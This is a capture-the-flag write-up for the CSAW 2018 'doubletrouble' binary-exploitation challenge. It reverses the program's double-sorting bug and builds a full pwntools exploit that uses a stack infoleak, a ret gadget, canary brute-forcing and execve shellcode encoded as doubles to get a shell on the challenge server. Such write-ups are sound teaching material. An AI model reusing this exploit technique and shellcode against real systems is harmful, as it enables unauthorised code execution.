Csaw 2018 doubletrouble Pwn 200 (The Floating)

This writeup is dedicated to Pennywise the Dancing Clown. We all float down here: https://www.youtube.com/watch?v=wHbpWtMOJTI

Let's take a look at the binary:

$ ./doubletrouble 
0xff930988
How long: 5
Give me: 15935728
Give me: 75395128
Give me: 95135728
Give me: 35715928
Give me: 82753951
0:1.593573e+07
1:7.539513e+07
2:9.513573e+07
3:3.571593e+07
4:8.275395e+07
Sum: 304936463.000000
Max: 95135728.000000
Min: 15935728.000000
My favorite number you entered is: 15935728.000000
Sorted Array:
0:1.593573e+07
1:3.571593e+07
2:7.539513e+07
3:8.275395e+07
4:9.513573e+07
$  pwn checksec doubletrouble 
[*] '/Hackery/csaw18/pwn/doubletrouble/doubletrouble'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
$  file doubletrouble 
doubletrouble: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b9a11827e910481da3ed76a1425d4c110fd0db97, not stripped

So we can see a couple of things. It appears to prompt us for a number of inputs, then it takes in those inputs and converts them to doubles. Proceeding that it does some arithmetic on those doubles, then sorts the doubles least to greatest. We can also see that we get what looks like to be a stack infoleak, but we confirm that it is a stack infoleak with gdb:

gdb-peda$ r
Starting program: /Hackery/csaw18/pwn/doubletrouble/doubletrouble 
0xffffcd68
How long: ^C

.  .  .

gdb-peda$ vmmap
Start      End        Perm Name
0x08048000 0x0804b000 r-xp /Hackery/csaw18/pwn/doubletrouble/doubletrouble
0x0804b000 0x0804c000 r-xp /Hackery/csaw18/pwn/doubletrouble/doubletrouble
0x0804c000 0x0804d000 rwxp /Hackery/csaw18/pwn/doubletrouble/doubletrouble
0x0804d000 0x0806f000 rwxp [heap]
0xf7dd5000 0xf7faa000 r-xp /lib/i386-linux-gnu/libc-2.27.so
0xf7faa000 0xf7fab000 ---p /lib/i386-linux-gnu/libc-2.27.so
0xf7fab000 0xf7fad000 r-xp /lib/i386-linux-gnu/libc-2.27.so
0xf7fad000 0xf7fae000 rwxp /lib/i386-linux-gnu/libc-2.27.so
0xf7fae000 0xf7fb1000 rwxp mapped
0xf7fcf000 0xf7fd1000 rwxp mapped
0xf7fd1000 0xf7fd4000 r--p [vvar]
0xf7fd4000 0xf7fd6000 r-xp [vdso]
0xf7fd6000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp [stack]

here we can see that the infoleak is from the stack (which starts at 0xfffdd000 and ends at 0xffffe000). Also some other important things we can see about the binary, it has a stack canary and RWX segments (regions of memory that we can read, write, and execute). We can also see that it is a 32 bit elf

Reversing

So starting off we have the main function (which we use Ghidra to decompile):

/* WARNING: Type propagation algorithm not settling */

undefined4 main(void)

{
  int canary;
  
  canary = __x86.get_pc_thunk.ax(&stack0x00000004);
  setvbuf((FILE *)(*(FILE **)(canary + 0x27da))->_flags,(char *)0x0,2,0);
  game();
  return 0;
}

From our perspective, the only thing we need to worry about here is that it calls game() which we can see here:

int game()
{
  int index; // esi@5
  long double sum; // fst7@7
  long double max; // fst7@7
  long double min; // fst7@7
  int favorite; // eax@7
  int result; // eax@7
  int v6; // ecx@7
  int heapQt; // [sp+Ch] [bp-21Ch]@1
  int i; // [sp+10h] [bp-218h]@4
  char *s; // [sp+14h] [bp-214h]@5
  double ptrArray[64]; // [sp+18h] [bp-210h]@1
  int canary; // [sp+21Ch] [bp-Ch]@1

  canary = *MK_FP(__GS__, 20);
  printf("%p\n", ptrArray);
  printf("How long: ");
  __isoc99_scanf("%d", &heapQt);
  getchar();
  if ( heapQt > 64 )
  {
    printf("Flag: hahahano. But system is at %d", &system);
    exit(1);
  }
  i = 0;
  while ( i < heapQt )
  {
    s = (char *)malloc(0x64u);
    printf("Give me: ");
    fgets(s, 100, stdin);
    index = i++;
    ptrArray[index] = atof(s);
  }
  printArray(&heapQt, (int)ptrArray);
  sum = sumArray(&heapQt, ptrArray);
  printf("Sum: %f\n", (double)sum);
  max = maxArray(&heapQt, ptrArray);
  printf("Max: %f\n", (double)max);
  min = minArray(&heapQt, ptrArray);
  printf("Min: %f\n", (double)min);
  favorite = findArray(&heapQt, (int)ptrArray, -100.0, -10.0);
  printf("My favorite number you entered is: %f\n", ptrArray[favorite]);
  sortArray(&heapQt, (int)ptrArray);
  puts("Sorted Array:");
  result = printArray(&heapQt, (int)ptrArray);
  if ( *MK_FP(__GS__, 20) != canary )
    _stack_chk_fail_local(v6, *MK_FP(__GS__, 20) ^ canary);
  return result;
}

So we can see how this game goes down. It first starts by printing the address of ptrArray for the infoleak, which we later see is where our input is stored as a double. scanning in an integer into heapQt. Proceeding that it checks to make sure it isn't greater than 64 (this is because ptrArray is only big enough to hold 64 doubles). If it is, the program exits and prints the address of system to taunt us for being bad. Proceeding that it enters into a for loop which runs heapQt times, which each time it scans in 100 bytes of data into the heap, then converts it into a double, and stores it in the array ptrArray. Proceeding that, it runs a number of sub functions with heapQt and ptrArray as arguments.

Looking at the sumArray, maxArray, and minArray functions, they do pretty much what we would expect them to do. However when we get to findArray, that's when we see something intersting:

int __cdecl findArray(int *heapQt, int ptrArray, double a3, double a4)
{
  int v5; // [sp+1Ch] [bp-4h]@1

  _x86_get_pc_thunk_ax();
  v5 = *heapQt;
  while ( *heapQt < 2 * v5 )
  {
    if ( *(double *)(8 * (*heapQt - v5) + ptrArray) > (long double)a3
      && a4 > (long double)*(double *)(8 * (*heapQt - v5) + ptrArray) )
    {
      return *heapQt - v5;
    }
    *heapQt += (int)&GLOBAL_OFFSET_TABLE_ + 0xF7FB4001;
  }
  *heapQt = v5;
  return 0;
}

Particularyly this line is interesting:

  *heapQt = v5;

This dereferences a ptr to heapQt and writes a value to it. This is interesting to us, since it will allow us to change the value of heapQt, which is then passed as an argument to sortArray. Looking at the condition (since a3 is -10 and a4 is -100), it appears that a value between -10 and -100 will trigger the write (I used -23). The write appears to increase the value of heapQt. Next up we have the sortArray function:

signed int __cdecl sortArray(_DWORD *heapQt, int ptrArray)
{
  double v2; // ST08_8@4
  int i; // [sp+0h] [bp-10h]@1
  int j; // [sp+4h] [bp-Ch]@2

  _x86_get_pc_thunk_ax();
  for ( i = 0; i < *heapQt; ++i )
  {
    for ( j = 0; j < *heapQt - 1; ++j )
    {
      if ( *(double *)(8 * j + ptrArray) > (long double)*(double *)(8 * (j + 1) + ptrArray) )
      {
        v2 = *(double *)(8 * j + ptrArray);
        *(double *)(8 * j + ptrArray) = *(double *)(ptrArray + 8 * (j + 1));
        *(double *)(8 * (j + 1) + ptrArray) = v2;
      }
    }
  }
  return 1;
}

So looking at this function, we can see that it essentially will loop through the first heapQt doubles of ptrArray. It will compare the value of that double, with the value of the double after it. If the double after it is less than the double before it, it will swap the two. So essentially it just organizes heapQt doubles, starting at the start of ptrArray from smallest to biggest double.

Exploitation

So we have a bug, where we can overwrite the number of doubles which is sorted in sortArray. We also have a stack infoleak, an executable stack, and the abillity to write data to the stack. And looking at the stack layout in IDA, we see that 16 bytes after our double array is the return address:

-00000210 ptrArray        dq 64 dup(?)
-00000010                 db ? ; undefined
-0000000F                 db ? ; undefined
-0000000E                 db ? ; undefined
-0000000D                 db ? ; undefined
-0000000C canary          dd ?
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)

Essentially what we will do is, we will write a greater value to heapQt than 64, that way it will start sorting data past ptrArray. Specifically, we will get it to place an address that we want where the return address is stored at ebp+0x4, which will give us code execution. We will also need to make sure the sorting algorithm leaves the stack canary in the same place, otherwise the binary will crash before we get code execution.

gdb-peda$ x/152x 0xff8969b8
0xff8969b8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff8969c8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff8969d8: 0x00000000  0xff820d84  0x00000000  0xc0370000
0xff8969e8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff8969f8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a08: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a18: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a28: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a38: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a48: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a58: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a68: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a78: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a88: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a98: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896aa8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896ab8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896ac8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896ad8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896ae8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896af8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b08: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b18: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b28: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b38: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b48: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b58: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b68: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b78: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b88: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b98: 0x00000000  0xff820d84  0x00000000  0x00000000
0xff896ba8: 0x00000000  0x00000000  0x00000000  0x0804900a
0xff896bb8: 0xff896bd8  0x1d781100  0x0804c000  0xf7f41000
0xff896bc8: 0xff896bd8  0x08049841  0xff896bf0  0x00000000
0xff896bd8: 0x00000000  0xf7d81e81  0xf7f41000  0xf7f41000
0xff896be8: 0x00000000  0xf7d81e81  0x00000001  0xff896c84
0xff896bf8: 0xff896c8c  0xff896c14  0x00000001  0x00000000
0xff896c08: 0xf7f41000  0xf7f7975a  0xf7f91000  0x00000000
gdb-peda$ i f
Stack level 0, frame at 0xff896bd0:
 eip = 0x8049733 in game; saved eip = 0x8049841
 called by frame at 0xff896bf0
 Arglist at 0xff896bc8, args: 
 Locals at 0xff896bc8, Previous frame's sp is 0xff896bd0
 Saved registers:
  ebx at 0xff896bc0, ebp at 0xff896bc8, esi at 0xff896bc4, eip at 0xff896bcc
gdb-peda$ x/x $ebp-0xc
0xff896bbc: 0x1d781100

So we can see here, an example memory layout of the stack prior to the sorting. We can see that the return adress is at 0xff896bcc (which is 0x8049841) and the stack canary is at 0xff896bbc (which is 0x1d781100). In this instance, my input ends at 0xff896bb4 with 0x0804900a00000000. Keep in mind, that when evaluating the doubles (which are 8 bytes in memory) the last 4 bytes are stored first, which are followed by the first 4 bytes. For instance.

 gdb-peda$ p/f 0x0804900a00000000
 $1 = 4.8653382194983783e-270
gdb-peda$ p/f 0xff820d8400000000
$2 = -1.5846380065386629e+306

We can see that our input largely consists of the values 4.8653382194983783e-270, which is followed by -1.5846380065386629e+306.

We can see that values that start with 0xf are really small when interpreted as a float. Thus they will float up the stack, while larger float values like 0x8049841 (which is the return address) would get moved to the bottom.

Now to get the return address overwritten, what we can do is we can make the value of heapQt that which it extense to two doubles past the return address, which will be the value 69 (hex 0x45). To get it to this value, I didn't reverse the algroithm to figure out what value get's written. I just noticed that the number of inputs I send before/after -23 (which triggers the write) influences it, so I just played with it untill I got it right.

Proceeding that, we will include three floats which their hex value begins with 0x804. They will all be less than the value 0x8049841 when converted to a float. The reason for this being, that they should be greater than all values other than the return address (0x8049841) which is the same everyt time, so it will occupy the value before, after, and the same as the return address. Now because the value we have in the return address has to start with 0x804 and be less than 0x8049841, this limits us to what we can call to certain sections of the code, such as certain ROP gadgets. However we find one that meets our needs:

ROPgadget --binary doubletrouble | grep 804900a
0x0804900a : ret

This particular rop gadget fits our needs for two reasons. The first is that when converted to a float, it is less than 0x8049841 so it will be before it after the sorting. The second reason is that all it does is just returns. This is beneftitial to us, since all it will do is just continue to the next address and execute it, which will be the last 4 bytes of the next double. We can place the stack address of our shellcode (we know it from the stack infoleak, and the stack is executable). With the first four bytes of the double, we can put a value between 0x804900a and 0x8049841. That way this double will always come between the actual return address, and 0x804900a. This will allow us to execute our shellcode on the stack, which we can't simply just push it into the return address spot, since it starts with 0xff and will just float to the top.

The value that we will have before the 0x804900a double will be 0x800000000000000. The reason for this, is it will occupy the spot between the stack canary and the 0x804900a double. This way, after the sorting, the stack canary will remain in the same spot. Of course, this will only work if the stack canary's value is less tgab 0x8000000, but bigger than the previous double. This gives us a range of about 8 different bytes which the stack canary could be which our exploit would work. The thing is since the stack canary is a random value (will the first three bytes for x86 are, the fourth is always a null byte), and since the position of everything depends on it's value with respect to other floats, we will have to assume that the stack canary is within a certain value in order for our exploit to work. For testing purposes we can just set the stack canary to the value within the range. When we go ahead and run the exploit for real, we can just brute force the canary value we need by running the exploit again and again untill we get a stack canary value within the range we need.

The last thing we need to worry about is our shellcode, since we will need to know where it is on the stack to execute it, and we also need to make sure it stays intact and in the correct order after it is sorted. The way I accomplished this is by appending the 0x90 byte a certain amount of times tot he front of ceratin parts of shellcode. This is because when executed 0x90 is the opcode for NOP which continues execution and doesn't effect our shellcode in any important way, and it will be evaluated as less than values starting with 0x804 so it won't affect the stack canary or what we did to write over the return address.

However when we insert the NOPs into our shellcode, we will have to rewite/recompile the shellcode. The reason for this, is because if we just insert NOPs into random places, there is a good chance we will insert a NOP in the middle of an instruction, which will change what the instruction does. Also note, the base shellcode I did not write. I grabbed it from http://shell-storm.org/shellcode/files/shellcode-599.php and modified it. Also I found that this website which is an online x86/x64 decompiler/compiler helped https://defuse.ca/online-x86-assembler.htm:

here is the shellcode before we modified it:

0:  6a 17                   push   0x17
2:  58                      pop    eax
3:  31 db                   xor    ebx,ebx
5:  cd 80                   int    0x80
7:  50                      push   eax
8:  68 2f 2f 73 68          push   0x68732f2f
d:  68 2f 62 69 6e          push   0x6e69622f
12: 89 e3                   mov    ebx,esp
14: 99                      cdq
15: 31 c9                   xor    ecx,ecx
17: b0 0b                   mov    al,0xb
19: cd 80                   int    0x80 

This shellcode is 27 bytes. After we figure out how to split the individual commands up with \x90s in a way that the instructions will still execute properly, and after the sorting the shellcode will be in the proper order, we get the following segments:

0x9101eb51e1f7c931:

0x90909068732f2f68:

0x9090406e69622f68:

0x900080cd0bb0e389:

keep in mind, because of how the data is stored, the last four bytes will be executed first. After a lot of trial and error, we see that this is our shellcode:

gdb-peda$ x/16i 0xffff7ca0
   0xffff7ca0: xor    ecx,ecx
   0xffff7ca2: mul    ecx
   0xffff7ca4: push   ecx
   0xffff7ca5: jmp    0xffff7ca8
   0xffff7ca7: xchg   ecx,eax
   0xffff7ca8: push   0x68732f2f
   0xffff7cad: nop
   0xffff7cae: nop
   0xffff7caf: nop
   0xffff7cb0: push   0x6e69622f
   0xffff7cb5: inc    eax
   0xffff7cb6: nop
   0xffff7cb7: nop
   0xffff7cb8: mov    ebx,esp
   0xffff7cba: mov    al,0xb
   0xffff7cbc: int    0x80

Also to find the offset from the infoleak to where our shellcode is, we can just run the exploit once with our shellcode, and see where our shellcode ends up in respect to the stack infoleak. When I did this, I found that the offset was +0x1d8 bytes from the infoleak.

tl ; dr

A quick overview of this challenge

*  Program scans in up to 64 doubles, and sorts them from smallest to largest
*  Bug in `findArray` allows us to overwrite the float count with a larger value, thus when it sorts the doubles, it will sort values past our input, allowing us to move the return address.
*  Format payload to call rop gadget, then shellcode on the stack using stack infoleak. The canary has to be within a set range. 
*  Format the shellcode to be together after the sorting
*  Brute force the stack canary untill it is within a range that wouldn't crash our exploit

Exploit

putting it all together, we get the following exploit:

# Import the libraries
from pwn import *
import struct

# Establish the target
#target = process('./doubletrouble')
#gdb.attach(target, gdbscript='b *0x8049733')
target = remote('pwn.chal.csaw.io', 9002)

# Get the infoleak, calculate the offset to our shellcode
stack = target.recvline()
stack = stack.replace("\x0a", "")
stack = int(stack, 16)
scadr = stack + 0x1d8

# Create the integer we will create, that will be stored as the double after the ROPgadget 0x804900a, which is the first return address we put
ret = "0x8049010" + hex(scadr).replace("0x", "")
ret = int(ret, 16)

# Scan in some of the input 
target.recvuntil("How long: ")


# Etsablish the four blocks as floats, which make up our shellcode
s1 = "-9.455235083177544e-227"# 0x9101eb51e1f7c931
s2 = "-6.8282747051424842e-229"# 0x90909068732f2f68 
s3 = "-6.6994892300412978e-229"# 0x9090406e69622f68
s4 = "-1.3287388429188698e-231"# 0x900080cd0bb0e389
# shellcode does the following:
'''
   0xffff7ca0: xor    ecx,ecx
   0xffff7ca2: mul    ecx
   0xffff7ca4: push   ecx
   0xffff7ca5: jmp    0xffff7ca8
   0xffff7ca7: xchg   ecx,eax
   0xffff7ca8: push   0x68732f2f
   0xffff7cad: nop
   0xffff7cae: nop
   0xffff7caf: nop
   0xffff7cb0: push   0x6e69622f
   0xffff7cb5: inc    eax
   0xffff7cb6: nop
   0xffff7cb7: nop
   0xffff7cb8: mov    ebx,esp
   0xffff7cba: mov    al,0xb
   0xffff7cbc: int    0x80
'''

# Send the amount of floats we will input, and then send the first 5
target.sendline('64')
for i in range(5):

   target.sendline('-1.5846380065386629e+306')#0xff820d8400000000

# Send the value which will trigger the bug to write over heapQt
target.sendline('-23')

# Send the rest of the filler floats
for i in range(51):
   target.sendline('-1.5846380065386629e+306')#0xff820d8400000000

# This is the value which will be between the stack canary, and the double which occupies the return address
target.sendline('3.7857669957336791e-270')#0x0800000000000000

# Send the shellcode blocks
target.sendline(s1)
target.sendline(s2)
target.sendline(s3)
target.sendline(s4)

# Send the double which will reside after the return address double, which will store the address of our shellcode in the last four bytes. 
# We have to convert the int to a float, so it's stored in memory correctly
target.sendline("%.19g" % struct.unpack("<d", p64(ret)))

# Send the double which will occupy the return address with the gadget 0x804900a: ret
target.sendline('4.8653382194983783e-270')#0x804900a00000000

# Drop to an interactive shell
target.interactive()

we have to run the exploit several times before it works (due to the fact that we need the first byte of the canary to be in a certain range). But once it is, we get this:

$  python exploit.py 
[+] Opening connection to pwn.chal.csaw.io on port 9002: Done
[*] Switching to interactive mode
64
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-23
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.58463800653Give me: 86629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
3.7857669957336791e-270
-9.455235083177544e-Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: 227
-6.8282747051424842e-229
-6.6994892300412978e-229
-1.3287388429188698e-231
4.865363487548704948e-270
4.8653382194983783e-270
Give me: Give me: Give me: Give me: Give me: 0:-1.584638e+306
1:-1.584638e+306
2:-1.584638e+306
3:-1.584638e+306
4:-1.584638e+306
5:-2.300000e+01
6:-1.584638e+306
7:-1.584638e+306
8:-1.584638e+306
9:-1.584638e+306
10:-1.584638e+306
11:-1.584638e+306
12:-1.584638e+306
13:-1.584638e+306
14:-1.584638e+306
15:-1.584638e+306
16:-1.584638e+306
17:-1.584638e+306
18:-1.584638e+306
19:-1.584638e+306
20:-1.584638e+306
21:-1.584638e+306
22:-1.584638e+306
23:-1.584638e+306
24:-1.584638e+306
25:-1.584638e+306
26:-1.584638e+306
27:-1.584638e+306
28:-1.584638e+306
29:-1.584638e+306
30:-1.584638e+306
31:-1.584638e+306
32:-1.584638e+306
33:-1.584638e+306
34:-1.584638e+306
35:-1.584638e+306
36:-1.584638e+306
37:-1.584638e+306
38:-1.584638e+306
39:-1.584638e+306
40:-1.584638e+306
41:-1.584638e+306
42:-1.584638e+306
43:-1.584638e+306
44:-1.584638e+306
45:-1.584638e+306
46:-1.584638e+306
47:-1.584638e+306
48:-1.584638e+306
49:-1.584638e+306
50:-1.584638e+306
51:-1.584638e+306
52:-1.584638e+306
53:-1.584638e+306
54:-1.584638e+306
55:-1.584638e+306
56:-1.584638e+306
57:3.785767e-270
58:-9.455235e-227
59:-6.828275e-229
60:-6.699489e-229
61:-1.328739e-231
62:4.865363e-270
63:4.865338e-270
Sum: -88739728366165125028685448406029643546277776677711731866489244413884850397602464820747806329471620672233559480029832790383745915926540359844557891236725370073933930276557223908896897136922922578474598315771085562474129643582927347625724598568687392255127493856259386716274770720868111931435349064767563104256.000000
Max: 0.000000
Min: -1584638006538662946940811578679100777612103154959138069044450793105086614242901157513353684454850369147027847857675585542566891355831077854367105200655810179891677326367093284087444591730766474615617827067340813615609457921123702636173653545869417718841562390290346191362049477158359141632774090442277912576.000000
My favorite number you entered is: -23.000000
Sorted Array:
0:-1.584638e+306
1:-1.584638e+306
2:-1.584638e+306
3:-1.584638e+306
4:-1.584638e+306
5:-1.584638e+306
6:-1.584638e+306
7:-1.584638e+306
8:-1.584638e+306
9:-1.584638e+306
10:-1.584638e+306
11:-1.584638e+306
12:-1.584638e+306
13:-1.584638e+306
14:-1.584638e+306
15:-1.584638e+306
16:-1.584638e+306
17:-1.584638e+306
18:-1.584638e+306
19:-1.584638e+306
20:-1.584638e+306
21:-1.584638e+306
22:-1.584638e+306
23:-1.584638e+306
24:-1.584638e+306
25:-1.584638e+306
26:-1.584638e+306
27:-1.584638e+306
28:-1.584638e+306
29:-1.584638e+306
30:-1.584638e+306
31:-1.584638e+306
32:-1.584638e+306
33:-1.584638e+306
34:-1.584638e+306
35:-1.584638e+306
36:-1.584638e+306
37:-1.584638e+306
38:-1.584638e+306
39:-1.584638e+306
40:-1.584638e+306
41:-1.584638e+306
42:-1.584638e+306
43:-1.584638e+306
44:-1.584638e+306
45:-1.584638e+306
46:-1.584638e+306
47:-1.584638e+306
48:-1.584638e+306
49:-1.584638e+306
50:-1.584638e+306
51:-1.584638e+306
52:-1.584638e+306
53:-1.584638e+306
54:-1.584638e+306
55:-1.584638e+306
56:-8.130783e+269
57:-2.367557e+269
58:-2.300000e+01
59:-9.455235e-227
60:-6.828275e-229
61:-6.699489e-229
62:-1.328739e-231
63:2.119251e-314
64:3.931085e-303
65:3.785767e-270
66:4.865338e-270
67:4.865363e-270
68:4.872934e-270
sh: 0: can't access tty; job control turned off
$ $ ls
ls
doubletrouble  flag.txt
$ $ w
w
 03:58:44 up 3 days,  3:25,  0 users,  load average: 7.25, 7.27, 7.15
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
$ $ cat flag.txt
cat flag.txt
flag{4_d0ub1e_d0ub1e_3ntr3ndr3}

Just like that, we got the flag!